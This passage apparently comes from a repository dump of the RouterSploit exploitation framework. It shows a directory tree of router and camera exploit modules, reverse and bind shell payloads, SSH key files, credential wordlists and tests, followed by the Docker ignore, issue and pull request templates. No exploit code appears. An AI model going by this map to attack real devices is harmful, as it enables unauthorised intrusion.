│   │   │       │   ├── dir_825_path_traversal.py
│   │   │       │   ├── dir_850l_creds_disclosure.py
│   │   │       │   ├── dir_8xx_password_disclosure.py
│   │   │       │   ├── dns_320l_327l_rce.py
│   │   │       │   ├── dsl_2640b_dns_change.py
│   │   │       │   ├── dsl_2730_2750_path_traversal.py
│   │   │       │   ├── dsl_2730b_2780b_526b_dns_change.py
│   │   │       │   ├── dsl_2740r_dns_change.py
│   │   │       │   ├── dsl_2750b_info_disclosure.py
│   │   │       │   ├── dsl_2750b_rce.py
│   │   │       │   ├── dsp_w110_rce.py
│   │   │       │   ├── dvg_n5402sp_path_traversal.py
│   │   │       │   ├── dwl_3200ap_password_disclosure.py
│   │   │       │   ├── dwr_932_info_disclosure.py
│   │   │       │   ├── dwr_932b_backdoor.py
│   │   │       │   ├── multi_hedwig_cgi_exec.py
│   │   │       │   └── multi_hnap_rce.py
│   │   │       ├── fortinet/
│   │   │       │   ├── __init__.py
│   │   │       │   └── fortigate_os_backdoor.py
│   │   │       ├── huawei/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── e5331_mifi_info_disclosure.py
│   │   │       │   ├── hg520_info_disclosure.py
│   │   │       │   ├── hg530_hg520b_password_disclosure.py
│   │   │       │   ├── hg532_rce.py
│   │   │       │   └── hg866_password_change.py
│   │   │       ├── ipfire/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── ipfire_oinkcode_rce.py
│   │   │       │   ├── ipfire_proxy_rce.py
│   │   │       │   └── ipfire_shellshock.py
│   │   │       ├── lg/
│   │   │       │   ├── __init__.py
│   │   │       │   └── nas_3718.py
│   │   │       ├── linksys/
│   │   │       │   ├── 1500_2500_rce.py
│   │   │       │   ├── __init__.py
│   │   │       │   ├── eseries_themoon_rce.py
│   │   │       │   ├── smartwifi_password_disclosure.py
│   │   │       │   ├── wap54gv3_rce.py
│   │   │       │   └── wrt100_110_rce.py
│   │   │       ├── mikrotik/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── routeros_jailbreak.py
│   │   │       │   └── winbox_auth_bypass_creds_disclosure.py
│   │   │       ├── movistar/
│   │   │       │   ├── __init__.py
│   │   │       │   └── adsl_router_bhs_rta_path_traversal.py
│   │   │       ├── multi/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── gpon_home_gateway_rce.py
│   │   │       │   ├── misfortune_cookie.py
│   │   │       │   ├── rom0.py
│   │   │       │   ├── tcp_32764_info_disclosure.py
│   │   │       │   └── tcp_32764_rce.py
│   │   │       ├── netcore/
│   │   │       │   ├── __init__.py
│   │   │       │   └── udp_53413_rce.py
│   │   │       ├── netgear/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── dgn2200_dnslookup_cgi_rce.py
│   │   │       │   ├── dgn2200_ping_cgi_rce.py
│   │   │       │   ├── jnr1010_path_traversal.py
│   │   │       │   ├── multi_password_disclosure-2017-5521.py
│   │   │       │   ├── multi_rce.py
│   │   │       │   ├── n300_auth_bypass.py
│   │   │       │   ├── prosafe_rce.py
│   │   │       │   ├── r7000_r6400_rce.py
│   │   │       │   ├── rax30_rce.py
│   │   │       │   └── wnr500_612v3_jnr1010_2010_path_traversal.py
│   │   │       ├── netsys/
│   │   │       │   ├── __init__.py
│   │   │       │   └── multi_rce.py
│   │   │       ├── shuttle/
│   │   │       │   ├── 915wm_dns_change.py
│   │   │       │   └── __init__.py
│   │   │       ├── technicolor/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── dwg855_authbypass.py
│   │   │       │   ├── tc7200_password_disclosure.py
│   │   │       │   ├── tc7200_password_disclosure_v2.py
│   │   │       │   └── tg784_authbypass.py
│   │   │       ├── thomson/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── twg849_info_disclosure.py
│   │   │       │   └── twg850_password_disclosure.py
│   │   │       ├── tplink/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── archer_c2_c20i_rce.py
│   │   │       │   ├── archer_c9_admin_password_reset.py
│   │   │       │   ├── wdr740nd_wdr740n_backdoor.py
│   │   │       │   ├── wdr740nd_wdr740n_path_traversal.py
│   │   │       │   └── wdr842nd_wdr842n_configure_disclosure.py
│   │   │       ├── ubiquiti/
│   │   │       │   ├── __init__.py
│   │   │       │   └── airos_6_x.py
│   │   │       ├── zte/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── f460_f660_backdoor.py
│   │   │       │   ├── zxhn_h108n_wifi_password_disclosure.py
│   │   │       │   └── zxv10_rce.py
│   │   │       └── zyxel/
│   │   │           ├── __init__.py
│   │   │           ├── d1000_rce.py
│   │   │           ├── d1000_wifi_password_disclosure.py
│   │   │           ├── p660hn_t_v1_rce.py
│   │   │           ├── p660hn_t_v2_rce.py
│   │   │           └── zywall_usg_extract_hashes.py
│   │   ├── generic/
│   │   │   ├── __init__.py
│   │   │   ├── bluetooth/
│   │   │   │   ├── __init__.py
│   │   │   │   ├── btle_enumerate.py
│   │   │   │   ├── btle_scan.py
│   │   │   │   └── btle_write.py
│   │   │   └── upnp/
│   │   │       ├── __init__.py
│   │   │       └── ssdp_msearch.py
│   │   ├── payloads/
│   │   │   ├── __init__.py
│   │   │   ├── armle/
│   │   │   │   ├── __init__.py
│   │   │   │   ├── bind_tcp.py
│   │   │   │   └── reverse_tcp.py
│   │   │   ├── cmd/
│   │   │   │   ├── __init__.py
│   │   │   │   ├── awk_bind_tcp.py
│   │   │   │   ├── awk_bind_udp.py
│   │   │   │   ├── awk_reverse_tcp.py
│   │   │   │   ├── bash_reverse_tcp.py
│   │   │   │   ├── netcat_bind_tcp.py
│   │   │   │   ├── netcat_reverse_tcp.py
│   │   │   │   ├── perl_bind_tcp.py
│   │   │   │   ├── perl_reverse_tcp.py
│   │   │   │   ├── php_bind_tcp.py
│   │   │   │   ├── php_reverse_tcp.py
│   │   │   │   ├── python_bind_tcp.py
│   │   │   │   ├── python_bind_udp.py
│   │   │   │   ├── python_reverse_tcp.py
│   │   │   │   └── python_reverse_udp.py
│   │   │   ├── mipsbe/
│   │   │   │   ├── __init__.py
│   │   │   │   ├── bind_tcp.py
│   │   │   │   └── reverse_tcp.py
│   │   │   ├── mipsle/
│   │   │   │   ├── __init__.py
│   │   │   │   ├── bind_tcp.py
│   │   │   │   └── reverse_tcp.py
│   │   │   ├── perl/
│   │   │   │   ├── __init__.py
│   │   │   │   ├── bind_tcp.py
│   │   │   │   └── reverse_tcp.py
│   │   │   ├── php/
│   │   │   │   ├── __init__.py
│   │   │   │   ├── bind_tcp.py
│   │   │   │   └── reverse_tcp.py
│   │   │   ├── python/
│   │   │   │   ├── __init__.py
│   │   │   │   ├── bind_tcp.py
│   │   │   │   ├── bind_udp.py
│   │   │   │   ├── reverse_tcp.py
│   │   │   │   └── reverse_udp.py
│   │   │   ├── x64/
│   │   │   │   ├── __init__.py
│   │   │   │   ├── bind_tcp.py
│   │   │   │   └── reverse_tcp.py
│   │   │   └── x86/
│   │   │       ├── __init__.py
│   │   │       ├── bind_tcp.py
│   │   │       └── reverse_tcp.py
│   │   └── scanners/
│   │       ├── __init__.py
│   │       ├── autopwn.py
│   │       ├── cameras/
│   │       │   ├── __init__.py
│   │       │   └── camera_scan.py
│   │       ├── misc/
│   │       │   ├── __init__.py
│   │       │   └── misc_scan.py
│   │       └── routers/
│   │           ├── __init__.py
│   │           └── router_scan.py
│   └── resources/
│       ├── __init__.py
│       ├── ssh_keys/
│       │   ├── array-networks-vapv-vxag.json
│       │   ├── array-networks-vapv-vxag.key
│       │   ├── barracuda_load_balancer_vm.json
│       │   ├── barracuda_load_balancer_vm.key
│       │   ├── ceragon-fibeair-cve-2015-0936.json
│       │   ├── ceragon-fibeair-cve-2015-0936.key
│       │   ├── exagrid-cve-2016-1561.json
│       │   ├── exagrid-cve-2016-1561.key
│       │   ├── f5-bigip-cve-2012-1493.json
│       │   ├── f5-bigip-cve-2012-1493.key
│       │   ├── loadbalancer.org-enterprise-va.json
│       │   ├── loadbalancer.org-enterprise-va.key
│       │   ├── monroe-dasdec-cve-2013-0137.json
│       │   ├── monroe-dasdec-cve-2013-0137.key
│       │   ├── quantum-dxi-v1000.json
│       │   ├── quantum-dxi-v1000.key
│       │   ├── vagrant.json
│       │   └── vagrant.key
│       └── wordlists/
│           ├── __init__.py
│           ├── defaults.txt
│           ├── passwords.txt
│           ├── snmp.txt
│           └── usernames.txt
├── rsf.py
├── setup.py
└── tests/
    ├── __init__.py
    ├── conftest.py
    ├── core/
    │   ├── __init__.py
    │   └── test_option.py
    ├── creds/
    │   ├── __init__.py
    │   ├── cameras/
    │   │   ├── __init__.py
    │   │   ├── acti/
    │   │   │   ├── __init__.py
    │   │   │   ├── test_ftp_default_creds.py
    │   │   │   ├── test_ssh_default_creds.py
    │   │   │   ├── test_telnet_default_creds.py
    │   │   │   └── test_webinterface_default_creds.py
    │   │   ├── american_dynamics/
    │   │   │   ├── __init__.py
    │   │   │   ├── test_ftp_default_creds.py
    │   │   │   ├── test_ssh_default_creds.py
    │   │   │   └── test_telnet_default_creds.py
    │   │   ├── arecont/
    │   │   │   ├── __init__.py
    │   │   │   ├── test_ftp_default_creds.py
    │   │   │   ├── test_ssh_default_creds.py
    │   │   │   └── test_telnet_default_creds.py
    │   │   ├── avigilon/
    │   │   │   ├── __init__.py
    │   │   │   ├── test_ftp_default_creds.py
    │   │   │   ├── test_ssh_default_creds.py
    │   │   │   └── test_telnet_default_creds.py
    │   │   ├── avtech/
    │   │   │   ├── __init__.py
    │   │   │   ├── test_ftp_default_creds.py
    │   │   │   ├── test_ssh_default_creds.py
    │   │   │   └── test_telnet_default_creds.py
    │   │   ├── axis/
    │   │   │   ├── __init__.py
    │   │   │   ├── test_ftp_default_creds.py
    │   │   │   ├── test_ssh_default_creds.py
    │   │   │   ├── test_telnet_default_creds.py
    │   │   │   └── test_webinterface_http_auth_default_creds.py
    │   │   ├── basler/
    │   │   │   ├── __init__.py
    │   │   │   ├── test_ftp_default_creds.py
    │   │   │   ├── test_ssh_default_creds.py
    │   │   │   ├── test_telnet_default_creds.py
    │   │   │   └── test_webinterface_default_creds.py
    │   │   ├── brickcom/
    │   │   │   ├── __init__.py
    │   │   │   ├── test_ftp_default_creds.py
    │   │   │   ├── test_ssh_default_creds.py
    │   │   │   ├── test_telnet_default_creds.py
    │   │   │   └── test_webinterface_http_auth_default_creds.py
    │   │   ├── canon/
    │   │   │   ├── __init__.py
    │   │   │   ├── test_ftp_default_creds.py
    │   │   │   ├── test_ssh_default_creds.py
    │   │   │   ├── test_telnet_default_creds.py
    │   │   │   └── test_webinterface_default_creds.py
    │   │   ├── cisco/
    │   │   │   ├── __init__.py
    │   │   │   ├── test_ftp_default_creds.py
    │   │   │   ├── test_ssh_default_creds.py
    │   │   │   └── test_telnet_default_creds.py
    │   │   ├── dlink/
    │   │   │   ├── __init__.py
    │   │   │   ├── test_ftp_default_creds.py
    │   │   │   ├── test_ssh_default_creds.py
    │   │   │   └── test_telnet_default_creds.py
    │   │   ├── geovision/
    │   │   │   ├── __init__.py
    │   │   │   ├── test_ftp_default_creds.py
    │   │   │   ├── test_ssh_default_creds.py
    │   │   │   └── test_telnet_default_creds.py
    │   │   ├── grandstream/
    │   │   │   ├── __init__.py
    │   │   │   ├── test_ftp_default_creds.py
    │   │   │   ├── test_ssh_default_creds.py
    │   │   │   └── test_telnet_default_creds.py
    │   │   ├── hikvision/
    │   │   │   ├── __init__.py
    │   │   │   ├── test_ftp_default_creds.py
    │   │   │   ├── test_ssh_default_creds.py
    │   │   │   └── test_telnet_default_creds.py
    │   │   ├── honeywell/
    │   │   │   ├── __init__.py
    │   │   │   ├── test_ftp_default_creds.py
    │   │   │   ├── test_ssh_default_creds.py
    │   │   │   └── test_telnet_default_creds.py
    │   │   ├── iqinvision/
    │   │   │   ├── __init__.py
    │   │   │   ├── test_ftp_default_creds.py
    │   │   │   ├── test_ssh_default_creds.py
    │   │   │   └── test_telnet_default_creds.py
    │   │   ├── jvc/
    │   │   │   ├── __init__.py
    │   │   │   ├── test_ftp_default_creds.py
    │   │   │   ├── test_ssh_default_creds.py
    │   │   │   └── test_telnet_default_creds.py
    │   │   ├── mobotix/
    │   │   │   ├── __init__.py
    │   │   │   ├── test_ftp_default_creds.py
    │   │   │   ├── test_ssh_default_creds.py
    │   │   │   └── test_telnet_default_creds.py
    │   │   ├── samsung/
    │   │   │   ├── __init__.py
    │   │   │   ├── test_ftp_default_creds.py
    │   │   │   ├── test_ssh_default_creds.py
    │   │   │   └── test_telnet_default_creds.py
    │   │   ├── sentry360/
    │   │   │   ├── __init__.py
    │   │   │   ├── test_ftp_default_creds.py
    │   │   │   ├── test_ssh_default_creds.py
    │   │   │   └── test_telnet_default_creds.py
    │   │   ├── siemens/
    │   │   │   ├── __init__.py
    │   │   │   ├── test_ftp_default_creds.py
    │   │   │   ├── test_ssh_default_creds.py
    │   │   │   └── test_telnet_default_creds.py
    │   │   ├── speco/
    │   │   │   ├── __init__.py
    │   │   │   ├── test_ftp_default_creds.py
    │   │   │   ├── test_ssh_default_creds.py
    │   │   │   └── test_telnet_default_creds.py
    │   │   ├── stardot/
    │   │   │   ├── __init__.py
    │   │   │   ├── test_ftp_default_creds.py
    │   │   │   ├── test_ssh_default_creds.py
    │   │   │   └── test_telnet_default_creds.py
    │   │   ├── vacron/
    │   │   │   ├── __init__.py
    │   │   │   ├── test_ftp_default_creds.py
    │   │   │   ├── test_ssh_default_creds.py
    │   │   │   └── test_telnet_default_creds.py
    │   │   └── videoiq/
    │   │       ├── __init__.py
    │   │       ├── test_ftp_default_creds.py
    │   │       ├── test_ssh_default_creds.py
    │   │       └── test_telnet_default_creds.py
    │   ├── generic/
    │   │   ├── test_ftp_bruteforce.py
    │   │   ├── test_ftp_default.py
    │   │   ├── test_http_basic_digest_bruteforce.py
    │   │   ├── test_http_basic_digest_default.py
    │   │   ├── test_snmp_bruteforce.py
    │   │   ├── test_ssh_bruteforce.py
    │   │   ├── test_ssh_default.py
    │   │   ├── test_telnet_bruteforce.py
    │   │   └── test_telnet_default.py
    │   └── routers/
    │       ├── 2wire/
    │       │   ├── __init__.py
    │       │   ├── test_ftp_default_creds.py
    │       │   ├── test_ssh_default_creds.py
    │       │   └── test_telnet_default_creds.py
    │       ├── 3com/
    │       │   ├── __init__.py
    │       │   ├── test_3com_ftp_default_creds.py
    │       │   ├── test_3com_ssh_default_creds.py
    │       │   └── test_3com_telnet_default_creds.py
    │       ├── __init__.py
    │       ├── asmax/
    │       │   ├── __init__.py
    │       │   ├── test_ftp_default_creds.py
    │       │   ├── test_ssh_default_creds.py
    │       │   ├── test_telnet_default_creds.py
    │       │   └── test_webinterface_http_auth_default_creds.py
    │       ├── asus/
    │       │   ├── __init__.py
    │       │   ├── test_ftp_default_creds.py
    │       │   ├── test_ssh_default_creds.py
    │       │   └── test_telnet_default_creds.py
    │       ├── belkin/
    │       │   ├── __init__.py
    │       │   ├── test_ftp_default_creds.py
    │       │   ├── test_ssh_default_creds.py
    │       │   └── test_telnet_default_creds.py
    │       ├── bhu/
    │       │   ├── __init__.py
    │       │   ├── test_ftp_default_creds.py
    │       │   ├── test_ssh_default_creds.py
    │       │   └── test_telnet_default_creds.py
    │       ├── billion/
    │       │   ├── __init__.py
    │       │   ├── test_ftp_default_creds.py
    │       │   ├── test_ssh_default_creds.py
    │       │   └── test_telnet_default_creds.py
    │       ├── cisco/
    │       │   ├── __init__.py
    │       │   ├── test_ftp_default_creds.py
    │       │   ├── test_ssh_default_creds.py
    │       │   └── test_telnet_default_creds.py
    │       ├── comtrend/
    │       │   ├── __init__.py
    │       │   ├── test_ftp_default_creds.py
    │       │   ├── test_ssh_default_creds.py
    │       │   └── test_telnet_default_creds.py
    │       ├── dlink/
    │       │   ├── __init__.py
    │       │   ├── test_ftp_default_creds.py
    │       │   ├── test_ssh_default_creds.py
    │       │   └── test_telnet_default_creds.py
    │       ├── fortinet/
    │       │   ├── __init__.py
    │       │   ├── test_ftp_default_creds.py
    │       │   ├── test_ssh_default_creds.py
    │       │   └── test_telnet_default_creds.py
    │       ├── huawei/
    │       │   ├── __init__.py
    │       │   ├── test_ftp_default_creds.py
    │       │   ├── test_ssh_default_creds.py
    │       │   └── test_telnet_default_creds.py
    │       ├── ipfire/
    │       │   ├── __init__.py
    │       │   ├── test_ftp_default_creds.py
    │       │   ├── test_ssh_default_creds.py
    │       │   └── test_telnet_default_creds.py
    │       ├── juniper/
    │       │   ├── __init__.py
    │       │   ├── test_ftp_default_creds.py
    │       │   ├── test_ssh_default_creds.py
    │       │   └── test_telnet_default_creds.py
    │       ├── linksys/
    │       │   ├── __init__.py
    │       │   ├── test_ftp_default_creds.py
    │       │   ├── test_ssh_default_creds.py
    │       │   └── test_telnet_default_creds.py
    │       ├── mikrotik/
    │       │   ├── __init__.py
    │       │   ├── test_api_ros_default_creds.py
    │       │   ├── test_ftp_default_creds.py
    │       │   ├── test_ssh_default_creds.py
    │       │   └── test_telnet_default_creds.py
    │       ├── movistar/
    │       │   ├── __init__.py
    │       │   ├── test_ftp_default_creds.py
    │       │   ├── test_ssh_default_creds.py
    │       │   └── test_telnet_default_creds.py
    │       ├── netcore/
    │       │   ├── __init__.py
    │       │   ├── test_ftp_default_creds.py
    │       │   ├── test_ssh_default_creds.py
    │       │   └── test_telnet_default_creds.py
    │       ├── netgear/
    │       │   ├── __init__.py
    │       │   ├── test_ftp_default_creds.py
    │       │   ├── test_ssh_default_creds.py
    │       │   └── test_telnet_default_creds.py
    │       ├── netsys/
    │       │   ├── __init__.py
    │       │   ├── test_ftp_default_creds.py
    │       │   ├── test_ssh_default_creds.py
    │       │   └── test_telnet_default_creds.py
    │       ├── pfsense/
    │       │   ├── __init__.py
    │       │   └── test_ssh_default_creds.py
    │       ├── technicolor/
    │       │   ├── __init__.py
    │       │   ├── test_ftp_default_creds.py
    │       │   ├── test_ssh_default_creds.py
    │       │   └── test_telnet_default_creds.py
    │       ├── thomson/
    │       │   ├── __init__.py
    │       │   ├── test_ftp_default_creds.py
    │       │   ├── test_ssh_default_creds.py
    │       │   └── test_telnet_default_creds.py
    │       ├── tplink/
    │       │   ├── __init__.py
    │       │   ├── test_ftp_default_creds.py
    │       │   ├── test_ssh_default_creds.py
    │       │   └── test_telnet_default_creds.py
    │       ├── ubiquiti/
    │       │   ├── __init__.py
    │       │   ├── test_ftp_default_creds.py
    │       │   ├── test_ssh_default_creds.py
    │       │   └── test_telnet_default_creds.py
    │       ├── zte/
    │       │   ├── __init__.py
    │       │   ├── test_ftp_default_creds.py
    │       │   ├── test_ssh_default_creds.py
    │       │   └── test_telnet_default_creds.py
    │       └── zyxel/
    │           ├── __init__.py
    │           ├── test_ftp_default_creds.py
    │           ├── test_ssh_default_creds.py
    │           └── test_telnet_default_creds.py
    ├── encoders/
    │   ├── __init__.py
    │   ├── perl/
    │   │   ├── __init__.py
    │   │   ├── test_base64.py
    │   │   └── test_hex.py
    │   ├── php/
    │   │   ├── __init__.py
    │   │   ├── test_base64.py
    │   │   └── test_hex.py
    │   └── python/
    │       ├── __init__.py
    │       ├── test_base64.py
    │       └── test_hex.py
    ├── exploits/
    │   ├── __init__.py
    │   ├── cameras/
    │   │   ├── __init__.py
    │   │   ├── avigilon/
    │   │   │   ├── __init__.py
    │   │   │   └── test_videoiq_camera_path_traversal.py
    │   │   ├── brickcom/
    │   │   │   ├── __init__.py
    │   │   │   ├── test_corp_network_cameras_conf_disclosure.py
    │   │   │   └── test_users_cgi_creds_disclosure.py
    │   │   ├── cisco/
    │   │   │   ├── __init__.py
    │   │   │   └── test_video_surv_path_traversal.py
    │   │   ├── dlink/
    │   │   │   ├── __init__.py
    │   │   │   └── test_dcs_930l_932l_auth_bypass.py
    │   │   ├── honeywell/
    │   │   │   ├── __init__.py
    │   │   │   └── test_hicc_1100pt_password_disclosure.py
    │   │   ├── jovision/
    │   │   │   ├── __init__.py
    │   │   │   └── test_jovision_camera_credential_disclosure.py
    │   │   ├── multi/
    │   │   │   ├── __init__.py
    │   │   │   ├── test_cctv_dvr_rce.py
    │   │   │   ├── test_dvr_creds_disclosure.py
    │   │   │   ├── test_jvc_vanderbilt_honeywell_path_traversal.py
    │   │   │   └── test_netwave_ip_camera_information_disclosure.py
    │   │   ├── mvpower/
    │   │   │   ├── __init__.py
    │   │   │   └── test_dvr_jaws_rce.py
    │   │   ├── siemens/
    │   │   │   ├── __init__.py
    │   │   │   └── test_cvms2025_credentials_disclosure.py
    │   │   └── xiongmai/
    │   │       ├── __init__.py
    │   │       └── test_uc_httpd_path_traversal.py
    │   ├── misc/
    │   │   ├── __init__.py
    │   │   ├── asus/
    │   │   │   └── test_b1m_projector_rce.py
    │   │   ├── miele/
    │   │   │   ├── __init__.py
    │   │   │   └── test_pg8528_path_traversal.py
    │   │   └── wepresent/
    │   │       ├── __init__.py
    │   │       └── test_wipg1000_rce.py
    │   └── routers/
    │       ├── 2wire/
    │       │   ├── __init__.py
    │       │   ├── test_4011g_5012nv_path_traversal.py
    │       │   └── test_gateway_auth_bypass.py
    │       ├── 3com/
    │       │   ├── __init__.py
    │       │   ├── test_ap8760_password_disclosure.py
    │       │   ├── test_imc_info_disclosure.py
    │       │   ├── test_imc_path_traversal.py
    │       │   ├── test_officeconnect_info_disclosure.py
    │       │   └── test_officeconnect_rce.py
    │       ├── __init__.py
    │       ├── asmax/
    │       │   ├── __init__.py
    │       │   ├── test_ar_1004g_password_disclosure.py
    │       │   └── test_ar_804_gu_rce.py
    │       ├── asus/
    │       │   ├── __init__.py
    │       │   ├── test_asuswrt_lan_rce.py
    │       │   ├── test_infosvr_backdoor_rce.py
    │       │   └── test_rt_n16_password_disclosure.py
    │       ├── belkin/
    │       │   ├── __init__.py
    │       │   ├── test_auth_bypass.py
    │       │   ├── test_g_n150_password_disclosure.py
    │       │   ├── test_g_plus_info_disclosure.py
    │       │   ├── test_n150_path_traversal.py
    │       │   ├── test_n750_rce.py
    │       │   └── test_play_mac_prce.py
    │       ├── bhu/
    │       │   ├── __init__.py
    │       │   └── test_bhu_urouter_rce.py
    │       ├── billion/
    │       │   ├── __init__.py
    │       │   ├── test_billion_5200w_rce.py
    │       │   └── test_billion_7700n4_password_disclosure.py
    │       ├── cisco/
    │       │   ├── __init__.py
    │       │   ├── test_dpc2420_info_disclosure.py
    │       │   ├── test_firepower_management60_path_traversal.py
    │       │   ├── test_firepower_management60_rce.py
    │       │   ├── test_ios_http_authorization_bypass.py
    │       │   ├── test_rv320_command_injection.py
    │       │   ├── test_secure_acs_bypass.py
    │       │   ├── test_ucm_info_disclosure.py
    │       │   ├── test_ucs_manager_rce.py
    │       │   └── test_unified_multi_path_traversal.py
    │       ├── comtrend/
    │       │   ├── __init__.py
    │       │   └── test_ct_5361t_password_disclosure.py
    │       ├── dlink/
    │       │   ├── __init__.py
    │       │   ├── test_dcs_930l_auth_rce.py
    │       │   ├── test_dir_300_320_600_615_info_disclosure.py
    │       │   ├── test_dir_300_320_615_auth_bypass.py
    │       │   ├── test_dir_300_600_rce.py
    │       │   ├── test_dir_300_645_815_upnp_rce.py
    │       │   ├── test_dir_645_815_rce.py
    │       │   ├── test_dir_645_password_disclosure.py
    │       │   ├── test_dir_655_866_652_rce.py
    │       │   ├── test_dir_815_850l_rce.py
    │       │   ├── test_dir_825_path_traversal.py
    │       │   ├── test_dir_850l_creds_disclosure.py
    │       │   ├── test_dir_8xx_password_disclosure.py
    │       │   ├── test_dns_320l_327l_rce.py
    │       │   ├── test_dsl_2730_2750_path_traversal.py
    │       │   ├── test_dsl_2730b_2780b_526b_dns_change.py
    │       │   ├── test_dsl_2750b_info_disclosure.py
    │       │   ├── test_dsl_2750b_rce.py
    │       │   ├── test_dsp_w110_rce.py
    │       │   ├── test_dvg_n5402sp_path_traversal.py
    │       │   ├── test_dwl_3200ap_password_disclosure.py
    │       │   ├── test_dwr_932_info_disclosure.py
    │       │   ├── test_dwr_932b_backdoor.py
    │       │   ├── test_multi_hedwig_cgi_exec.py
    │       │   └── test_multi_hnap_rce.py
    │       ├── huawei/
    │       │   ├── __init__.py
    │       │   ├── test_e5331_mifi_info_disclosure.py
    │       │   ├── test_hg520_info_disclosure.py
    │       │   ├── test_hg530_hg520b_password_disclosure.py
    │       │   └── test_hg866_password_change.py
    │       ├── ipfire/
    │       │   ├── __init__.py
    │       │   ├── test_ipfire_proxy_rce.py
    │       │   └── test_ipfire_shellshock.py
    │       ├── linksys/
    │       │   ├── __init__.py
    │       │   ├── test_1500_2500_rce.py
    │       │   ├── test_eseries_themoon_rce.py
    │       │   ├── test_smartwifi_password_disclosure.py
    │       │   ├── test_wap54gv3_rce.py
    │       │   └── test_wrt100_110_rce.py
    │       ├── mikrotik/
    │       │   ├── __init__.py
    │       │   └── test_winbox_auth_bypass_creds_disclosure.py
    │       ├── movistar/
    │       │   ├── __init__.py
    │       │   └── test_adsl_router_bhs_rta_path_traversal.py
    │       ├── multi/
    │       │   ├── __init__.py
    │       │   ├── test_gpon_home_gateway_rce.py
    │       │   ├── test_misfortune_cookie.py
    │       │   ├── test_rom0.py
    │       │   ├── test_tcp_32764_info_disclosure.py
    │       │   └── test_tcp_32764_rce.py
    │       ├── netcore/
    │       │   ├── __init__.py
    │       │   └── test_udp_53413_rce.py
    │       ├── netgear/
    │       │   ├── __init__.py
    │       │   ├── test_dgn2200_ping_cgi_rce.py
    │       │   ├── test_jnr1010_path_traversal.py
    │       │   ├── test_n300_auth_bypass.py
    │       │   ├── test_netgear_multi_rce.py
    │       │   ├── test_prosafe_rce.py
    │       │   ├── test_r7000_r6400_rce.py
    │       │   └── test_wnr500_612v3_jnr1010_2010_path_traversal.py
    │       ├── netsys/
    │       │   ├── __init__.py
    │       │   └── test_multi_rce.py
    │       ├── shuttle/
    │       │   ├── __init__.py
    │       │   └── test_915wm_dns_change.py
    │       ├── technicolor/
    │       │   ├── __init__.py
    │       │   ├── test_dwg855_authbypass.py
    │       │   ├── test_tc7200_password_disclosure.py
    │       │   ├── test_tc7200_password_disclosure_v2.py
    │       │   └── test_tg784_authbypass.py
    │       ├── thomson/
    │       │   ├── __init__.py
    │       │   └── test_twg850_password_disclosure.py
    │       ├── tplink/
    │       │   ├── __init__.py
    │       │   ├── test_archer_c2_c20i_rce.py
    │       │   ├── test_wdr740nd_wdr740n_backdoor.py
    │       │   ├── test_wdr740nd_wdr740n_path_traversal.py
    │       │   └── test_wdr842nd_wdr842n_configure_disclosure.py
    │       ├── zte/
    │       │   ├── __init__.py
    │       │   ├── test_f460_f660_backdoor.py
    │       │   ├── test_zxhn_h108n_wifi_password_disclosure.py
    │       │   └── test_zxv10_rce.py
    │       └── zyxel/
    │           ├── __init__.py
    │           ├── test_d1000_rce.py
    │           ├── test_d1000_wifi_password_disclosure.py
    │           ├── test_p660hn_t_v1_rce.py
    │           ├── test_p660hn_t_v2_rce.py
    │           └── test_zywall_usg_extract_hashes.py
    ├── generic/
    │   ├── __init__.py
    │   └── upnp/
    │       └── test_ssdp_msearch.py
    ├── payloads/
    │   ├── __init__.py
    │   ├── armle/
    │   │   ├── __init__.py
    │   │   ├── test_bind_tcp.py
    │   │   └── test_reverse_tcp.py
    │   ├── cmd/
    │   │   ├── __init__.py
    │   │   ├── test_awk_bind_tcp.py
    │   │   ├── test_awk_bind_udp.py
    │   │   ├── test_awk_reverse_tcp.py
    │   │   ├── test_bash_reverse_tcp.py
    │   │   ├── test_netcat_bind_tcp.py
    │   │   ├── test_netcat_reverse_tcp.py
    │   │   ├── test_perl_bind_tcp.py
    │   │   ├── test_perl_reverse_tcp.py
    │   │   ├── test_php_bind_tcp.py
    │   │   ├── test_php_reverse_tcp.py
    │   │   ├── test_python_bind_tcp.py
    │   │   ├── test_python_bind_udp.py
    │   │   ├── test_python_reverse_tcp.py
    │   │   └── test_python_reverse_udp.py
    │   ├── mipsbe/
    │   │   ├── __init__.py
    │   │   ├── test_bind_tcp.py
    │   │   └── test_reverse_tcp.py
    │   ├── mipsle/
    │   │   ├── __init__.py
    │   │   ├── test_bind_tcp.py
    │   │   └── test_reverse_tcp.py
    │   ├── perl/
    │   │   ├── test_bind_tcp.py
    │   │   └── test_reverse_tcp.py
    │   ├── php/
    │   │   ├── __init__.py
    │   │   ├── test_bind_tcp.py
    │   │   └── test_reverse_tcp.py
    │   ├── python/
    │   │   ├── __init__.py
    │   │   ├── test_bind_tcp.py
    │   │   ├── test_bind_udp.py
    │   │   ├── test_reverse_tcp.py
    │   │   └── test_reverse_udp.py
    │   ├── x64/
    │   │   ├── __init__.py
    │   │   ├── test_bind_tcp.py
    │   │   └── test_reverse_tcp.py
    │   └── x86/
    │       ├── __init__.py
    │       ├── test_bind_tcp.py
    │       └── test_reverse_tcp.py
    ├── test_exploit_scenarios.py
    └── test_module_info.py

================================================
FILE CONTENTS
================================================

================================================
FILE: .dockerignore
================================================
.idea/
.travis/

README.md
LICENSE
.travis.yml
*.pyc
*.log

================================================
FILE: .github/ISSUE_TEMPLATE.md
================================================
! ANY INCOMPLETE REPORT WILL BE CLOSED RIGHT AWAY !

## Steps to Reproduce (for bugs)
1.
2.
3.
4.

## Your Environment
* RouterSploit Version used:
* Operating System and version:
* Python Version: ( `python3 --version` )
* Python Environment: ( `python3 -m pip freeze` )

## Current Behavior
* If describing a bug, tell us what happens instead of the expected behavior
* If suggesting a change/improvement, tell us how it works right now

## Expected Behavior
* If you're describing a bug, tell us what should happen
* If you're suggesting a change/improvement, tell us how it should work


================================================
FILE: .github/PULL_REQUEST_TEMPLATE.md
================================================
## Status
**READY/IN DEVELOPMENT/HOLD**

## Description
Describe what is changed by your Pull Request. If this PR is related to the open issue (bug/feature/new module) please attach issue number.

## Verification
Provide steps to test or reproduce the PR.
 1. Start `./rsf.py`
